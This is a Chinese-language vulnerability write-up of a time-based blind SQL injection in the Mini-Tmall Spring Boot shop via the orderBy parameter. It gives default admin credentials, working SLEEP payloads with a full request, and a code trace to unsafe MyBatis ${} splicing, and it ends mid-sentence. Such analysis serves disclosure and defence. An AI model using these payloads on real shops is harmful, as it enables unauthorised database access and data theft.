漏洞简介
Mini-Tmall是一个基于Spring Boot的迷你天猫商城。Mini-Tmall在20231017版本及之前存在一个严重的漏洞,攻击者可以利用该漏洞通过远程执行特定操作来注入恶意SQL语句,从而获取敏感信息或控制数据库。此漏洞影响文件?r=tmall/admin/user/1/1的一些未知处理,攻击者可以通过篡改orderBy参数来达成sql注入攻击。攻击者可以通过远程方式发起攻击。
版本影响
<=20231017版本
漏洞复现
需要登录下后台 ,用户admin 密码123456
发送payload 时间盲注
GET /tmall/admin/user/1/1?orderBy=if(1=1,SLEEP(3),0) HTTP/1.1
GET /tmall/admin/user/1/1?orderBy=if(1=0,SLEEP(3),0) HTTP/1.1
GET /tmall/admin/user/1/1?orderBy=if(1=1,SLEEP(3),0) HTTP/1.1 Host: 127.0.0.1:8081 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: username=admin; username=admin; JSESSIONID=4AEF92786C4773E32B9A28D55967D626; PHPSESSID=k9teu1bb4vgng6sknaa9rmrqdc; __test=1; RememberMe=92668751^1#1937686128408600303; TCSESSIONID=5592AFBD3EFF180BC23EE2DAC3168AC2 Connection: close
延时成功,漏洞复现成功
漏洞分析
在控制器UserController下存在方法
//按条件查询用户-ajax
@ResponseBody
@RequestMapping(value = "admin/user/{index}/{count}", method = RequestMethod.GET, produces = "application/json;charset=UTF-8")
public String getUserBySearch(@RequestParam(required = false) String user_name/* 用户名称 */,
@RequestParam(required = false) Byte[] user_gender_array/* 用户性别数组 */,
@RequestParam(required = false) String orderBy/* 排序字段 */,
@RequestParam(required = false,defaultValue = "true") Boolean isDesc/* 是否倒序 */,
@PathVariable Integer index/* 页数 */,
@PathVariable Integer count/* 行数 */) throws UnsupportedEncodingException {
//移除不必要条件
Byte gender = null;
if (user_gender_array != null && user_gender_array.length == 1) {
gender = user_gender_array[0];
}
if (user_name != null) {
//如果为非空字符串则解决中文乱码:URLDecoder.decode(String,"UTF-8");
user_name = "".equals(user_name) ? null : URLDecoder.decode(user_name, "UTF-8");
}
if (orderBy != null && "".equals(orderBy)) {
orderBy = null;
}
//封装查询条件
User user = new User()
.setUser_name(user_name)
.setUser_gender(gender);
OrderUtil orderUtil = null;
if (orderBy != null) {
logger.info("根据{}排序,是否倒序:{}",orderBy,isDesc);
orderUtil = new OrderUtil(orderBy, isDesc);
}
JSONObject object = new JSONObject();
logger.info("按条件获取第{}页的{}条用户", index + 1, count);
PageUtil pageUtil = new PageUtil(index, count);
List<User> userList = userService.getList(user, orderUtil, pageUtil);
object.put("userList", JSONArray.parseArray(JSON.toJSONString(userList)));
logger.info("按条件获取用户总数量");
Integer userCount = userService.getTotal(user);
object.put("userCount", userCount);
logger.info("获取分页信息");
pageUtil.setTotal(userCount);
object.put("totalPage", pageUtil.getTotalPage());
object.put("pageUtil", pageUtil);
return object.toJSONString();
}
}
其中有几个字段是我们可控的,重点关注下orderBy的值
orderBy先被传入orderUtil对象中 之后作为参数执行userService.getList
找到接口实现类UserControllerImpl 跟入getList方法
找到接口实现类userMapper.xml 跟入select方法
可以看到底层的mybatis 使用了${}的方式拼接用户的参数,由此照成了sql注入
除此之外,我还发现productMap中也使用了${}的方式
与似乎便可以有如下的的利用方式